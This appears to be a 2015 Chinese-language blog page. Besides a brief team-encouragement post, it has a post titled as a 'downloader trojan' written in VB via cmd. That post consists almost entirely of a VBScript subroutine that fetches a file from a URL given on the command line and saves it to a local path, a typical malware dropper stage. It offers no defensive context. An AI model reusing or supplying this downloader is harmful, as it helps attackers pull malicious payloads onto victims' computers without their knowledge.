網頁

2015年7月16日 星期四

共勉之，加油!!新團隊新氣象


張貼者： 於 沒有留言:
標籤：

2015年7月9日 星期四

cmd寫入vb語言下載者木馬 



Sub download(url,target)
 iLocal=LCase(Wscript.Arguments(1))
 iRemote=LCase(Wscript.Arguments(0))
 Set xPost=createObject("Microsoft.XMLHTTP")
 xPost.Open "GET",iRemote,0
 xPost.Send()
 set sGet=createObject("ADODB.Stream")
 sGet.Mode=3
 sGet.Type=1
 sGet.Open()
 sGet.Write xPost.ResponseBody
 sGet.SaveToFile iLocal,2
End Sub










張貼者：



於





沒有留言:
  










































        

      









訂閱：
文章 (Atom)